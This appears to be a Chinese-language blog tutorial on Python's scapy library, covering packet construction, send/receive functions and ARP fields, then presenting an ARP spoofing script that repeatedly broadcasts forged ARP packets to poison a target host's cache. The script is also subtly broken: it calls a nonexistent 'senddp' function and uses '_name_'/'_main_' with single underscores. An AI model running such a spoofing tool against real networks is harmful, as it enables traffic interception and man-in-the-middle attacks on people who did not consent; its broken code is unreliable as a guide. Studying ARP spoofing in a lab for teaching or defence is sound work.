scapy模块的使用

将类实例化为对象

  • 将类实例化之后的对象可采用“对象名.成员”的方式来调用类中的属性和方法。
  • 可以用内置函数isinstance()来判断一个对象是否为某个类的实例。

概念总结

  • 面向对象是一种编程方式,此编程方式的实现是基于类和对象的使用。
  • 类是一种模板,模板封装了多个函数供使用。
  • 对象是根据模板创建的实例,可调用被封装在类中的函数。
  • 模块中则集成了大量相关的类、函数、变量。

scapy的主要功能

可以根据自己的需要定义一些列报文,并通过scapy发送出去,最后在接收回应。

scapy的优势一方面是可以自由构造报文,另一方是接收到的回应只解码而不解释,他只会如实响应报文的内容,而不提供结论,如何来判断和利用这些响应报文,由我们自己决定。

scapy主要基于二、三、四层工作。

scapy除了可以作为python库被调用之外,也可以作为单独的工具使用。

ls()可以列出scapy支持的所有协议,每个协议都是一个类。
lsc()可以列出scapy支持的所有方法。
用help()查看帮助信息。
用display()或show()方法查看属性信息。

a=ARP() #将ARP类实例化为对象

arp类的属性
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has #请求(who-has,广播,询问谁有)
hwsrc= 00:0c:29:1d:65:95 #源MAC
psrc= 192.168.131.159 #源IP
hwdst= 00:00:00:00:00:00 #目的MAC
pdst= 0.0.0.0 #目的IP

scapy中的发包和收包

  • 只发不收
    send(),在第三层发包,不关心第二层的封装,第二层采用默认值;
    sendp(),在第二层发包,需要手动指定第二层如何封装。
  • 发包且接收回复
    sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
    srp()和srp1()都是在第二层发包,srp1表示只接收第一个回复。
    默认情况下,如果目标主机不通,那么将一直发包,所以可以加上timeout参数。

2 scapy模块的使用

ARP欺骗

在这里插入图片描述
在这里插入图片描述
构造并发送ARP欺骗数据包

  • 构造数据包,加上二层封装。
    pkt = Ether(dst=‘ff:ff:ff:ff:ff:ff’)/ARP(pdst=‘192.168.131.160’)

3 编写ARP欺骗脚本

#ARP欺骗脚本
import sys
import time
from scapy.all import *
def arp_spoof(ip1,ip2):
    try:
        pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip1,psrc=ip2)
        senddp(pkt)
        return
    except:
        return
def main():
    if len(sys.argv)!=3:
        print("使用方法:./arpspoof.py 目标主机IP 被欺骗主机IP")
        sys.exit()
    ip1=str(sys.argv[1]).strip()
    ip2=str(sys.argv[2]).strip()
    while True:
        arp_spoof(ip1,ip2)
        time.sleep(0.5)
if _name_=='_main_':
    main()
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值